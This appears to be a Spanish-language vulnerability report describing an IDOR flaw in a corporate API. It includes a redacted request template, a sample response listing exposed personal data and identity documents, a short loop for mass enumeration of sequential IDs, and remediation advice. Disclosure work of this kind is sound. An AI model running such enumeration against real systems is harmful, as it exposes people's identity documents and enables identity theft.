Resumen
Se identifico una vulnerabilidad de tipo IDOR (Insecure Direct Object Reference) en un endpoint API de una aplicacion de gestion corporativa. La API utilizaba un mecanismo de llamadas donde el identificador del recurso se enviaba como parametro en el body JSON.
No existia ninguna validacion de autorizacion a nivel de objeto: cualquier usuario autenticado podia acceder a los datos de cualquier otro usuario simplemente iterando un ID numerico secuencial.
Detalles tecnicos
Endpoint vulnerable
POST /api/[REDACTED]?token=[REDACTED] HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
Authorization: [REDACTED]
{
"action": "entityService",
"method": "getRecord",
"data": [
"582941"
],
"type": "rpc",
"tid": 7
}
El primer elemento del array data es un ID numerico secuencial. Cambiando este valor por cualquier otro ID se obtenian los datos completos de otros usuarios sin ninguna validacion.
Datos expuestos
{
"result": {
"status": "OK",
"record": {
"id": "582941",
"full_name": "[NOMBRE COMPLETO]",
"id_type": "national_id",
"id_number": "[DOCUMENTO IDENTIDAD]",
"phone": "[TELEFONO]",
"email": "[EMAIL]",
"address": "[DIRECCION]",
"organization": "[EMPRESA]",
"documents": {
"photo": "PHOTO_582941_[DATE].jpg",
"id_scan": "DOC_582941_[DATE].pdf",
"certificate": "CERT_582941_[DATE].pdf",
"signature": "SIGN_582941_[DATE].tif",
"consent_gdpr": "GDPR_582941_[DATE].pdf"
},
"status": "active",
"created_at": "[DATE]"
}
}
}
Escalabilidad del ataque
Al ser IDs numericos secuenciales, un atacante podia automatizar la extraccion masiva de datos:
for record_id in range(500000, 600000):
response = api_request(record_id)
if response.status == "OK":
save_record(response.record)
# nombre, documento, telefono, email, firma digital...
Impacto
- Exposicion masiva de datos personales (PII) de todos los usuarios del sistema
- Acceso a documentos sensibles incluyendo fotografias, documentos de identidad y firmas digitales
- Violacion de GDPR/RGPD con implicaciones legales y sanciones potenciales de la AEPD
- Riesgo de suplantacion de identidad con los documentos obtenidos
- Enumeracion completa de la base de usuarios por IDs secuenciales
Remediacion
- Implementar autorizacion a nivel de objeto — Verificar que el usuario tiene permisos sobre el recurso solicitado.
- Usar identificadores no predecibles — Reemplazar IDs secuenciales por UUIDs.
- Rate limiting por endpoint — Limitar peticiones para dificultar la enumeracion masiva.
- Minimizar datos en respuesta — Aplicar principio de minimo privilegio en los datos devueltos.
- Logging y alertas — Monitorizar patrones de acceso anomalos.